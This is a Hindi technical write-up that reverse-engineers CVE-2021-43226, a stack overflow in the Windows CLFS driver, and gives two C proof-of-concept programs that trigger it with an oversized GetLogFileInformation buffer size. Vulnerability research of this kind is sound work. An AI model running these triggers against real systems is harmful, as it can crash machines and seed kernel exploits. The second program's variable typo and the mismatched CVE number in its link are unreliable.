
cve-2021-43226 का एक प्रूफ ऑफ कॉन्सेप्ट, विंडोज ड्राइवर clfs.sys में स्टैक ओवरफ्लो
ऑपरेटिंग सिस्टम: Hyper-V पर Win10 20H2 बिल्ड नंबर 19042.508, एक वेबसाइट मिली https://os.click/en, विंडोज इमेज अपेक्षाकृत पूर्ण हैं और अभी तक कोई बैकडोर नहीं मिला है
चूंकि मिला PoC Visual Studio 2013 के साथ संकलित किया गया है, इसलिए मैंने भी Visual Studio 2013 का उपयोग करके प्रोग्राम को स्टैटिकली लिंक किया है।
भेद्यता clfs.sys के अंदर CClfsLogFcbVirtual::QueryLogFileInfo फ़ंक्शन में है Microsoft के दस्तावेज़ीकरण में clfs.sys का वर्णन इस प्रकार है:
The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
इस फ़ंक्शन का पहला पॉइंटर एक CClfsLogFcbVirtual* this है, पैच से पहले और बाद के कोड की तुलना करने पर, एक स्पष्ट अंतर निम्नलिखित कोड के एक भाग में देखा जा सकता है:
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size);
क्या Size को 120 पर सेट करने से पहले ऐसा होता है?
इस फ़ंक्शन द्वारा कॉल किए गए अन्य मापदंडों में, a2 एक FILE_OBJECT है, Src स्टैक पर एक ऐरे है (IDA द्वारा डीकंपाइल __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF) और इस भेद्यता का वर्णन स्टैक ओवरफ़्लो के रूप में किया गया है, यह अनुमान लगाया गया है कि जब Size 120 से अधिक होता है तो स्टैक ओवरफ़्लो होगा।
सामने आई एक समस्या यह है कि क्रॉस रेफरेंस को सीधे नहीं देखा जा सकता है, यह फ़ंक्शन __guard_dispatch_icall_fptr के माध्यम से कॉल किया जाता है, और फिलहाल फ़ंक्शन कॉल में पैरामीटर पास करने की प्रक्रिया का निर्धारण किया जा रहा है।
(update): इस फ़ंक्शन को ClfsQueryLogFileInformation या CClfsRequest::LogFileInfo दो फ़ंक्शन द्वारा कॉल किया जाता है, जो क्रमशः CreateLogFile और GetLogFileInformation दो API का उपयोग करते हैं, जहां GetLogFileInformation की कॉल श्रृंखला स्पष्ट रूप से छोटी है, इसलिए इस API को क्रैश उत्पन्न करने के लिए चुना गया है।
GetLogFileInformation कॉल करते समय अंतिम चरण का पैरामीटर इस प्रकार है, जो LogFileInfo फ़ंक्शन में है:
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
*((_QWORD *)this + 18),
v14,
**(unsigned int **)(*((_QWORD *)this + 6) + 24i64));
जहां v14 एक FileObject है, this LogFileInfo में एक पैरामीटर के रूप में पास किया गया CClfsRequest है।
LogFileInfo को कॉल करने वाले फ़ंक्शन को देखते रहें, यह CClfsRequest::Dispatch है (विशिष्ट घोषणा __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3) है), यह फ़ंक्शन LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart; के माध्यम से यह निर्धारित करता है कि आगे किस विशेष फ़ंक्शन को कॉल करना है, जहां CurrentStackLocation एक struct है, struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx एक पैरामीटर के रूप में पास किया गया है, और this का असाइनमेंट ऊपरी फ़ंक्शन द्वारा इस डिस्पैच को दिए गए पैरामीटर पर निर्भर करता है, इसलिए हम और ऊपर देखेंगे।
आगे CClfsDispatchIoRequest फ़ंक्शन है v7 = CClfsRequest::Dispatch(v4, Irp, a1); a1 और Irp पास किए गए पैरामीटर हैं, a1 एक DeviceObject है, Irp PIRP प्रकार का है यानी IRP का पॉइंटर है (IRP के लिए https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp देखें)
v4 का असाइनमेंट इस प्रकार है:
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
v4 = CClfsRequest::CClfsRequest(v6);//v4 int64 प्रकार का है
आगे पैरामीटर पास करना जारी रखते हुए, CClfsDriver::LogIoDispatch फ़ंक्शन पर आते हैं, यह फ़ंक्शन सीधे अपने द्वारा प्राप्त पैरामीटर को CClfsDispatchIoRequest फ़ंक्शन में भेजता है।
एक कदम और ऊपर nt!IofCallDriver फ़ंक्शन है, इस फ़ंक्शन की घोषणा है NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );
पहले API की विशिष्ट घोषणा और पैरामीटर अर्थ खोजें। GetLogFileInformation:
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);
जहां पैरामीटर परिभाषाएँ इस प्रकार हैं:
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
//लॉग फ़ाइल बनाएं
wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
if (handle == INVALID_HANDLE_VALUE){
printf("sad:(\n");
abort();
}
printf("create log file success\n");
//sizeof(CLS_INFORMATION) 120 यानी 0x78 है
CLFS_INFORMATION buffer;
ULONG t = 0x120;
BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
return 0;
}
जहां, CreateLogFile और GetLogFileInformation के पैरामीटर सीधे Microsoft के दस्तावेज़ के अनुसार कॉपी किए गए हैं (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file) लेकिन logname के साथ कुछ समस्या हुई, शुरुआत में मूल रूप से दस्तावेज़ के अनुसार था:
उदाहरण के लिए: पथ "LOG:c:\MyDirectory\MyLog" फ़ाइल "c:\MyDirectory\MyLog.blf" बनाता है। लेकिन पाया कि ऐसा करने पर, वर्तमान निर्देशिका में सीधे c नाम की एक लॉग फ़ाइल बन जाती है, इसलिए PoC(Others) देखा, और विंडोज सिस्टम पर सामान्य पथ प्रारूप "LOG: C:\MyLog" में बदल दिया, लेकिन ऐसा करने पर भी काम नहीं हुआ, डीबगिंग में पाया कि CClfsLogFcbVirtual::QueryLogFileInfo कॉल नहीं हो रहा है बल्कि CClfsLogFcbPhysical::QueryLogFileInfo फ़ंक्शन कॉल हो रहा है, इसलिए एक LogStreamName जोड़ा, तब काम कर गया। एक और छोटी समस्या यह है कि विजुअल स्टूडियो कोड जनरेट करते समय स्टैटिक लिंकिंग का उपयोग करता है, यदि
#pragma comment(lib,"clfsw32.lib")पंक्ति नहीं है तो लिंकर बार-बारCreateLogFile,GetLogFileInformationन मिलने की त्रुटि देगा।
(https://github.com/KaLendsi/CVE-2021-43224-POC)
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
// system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}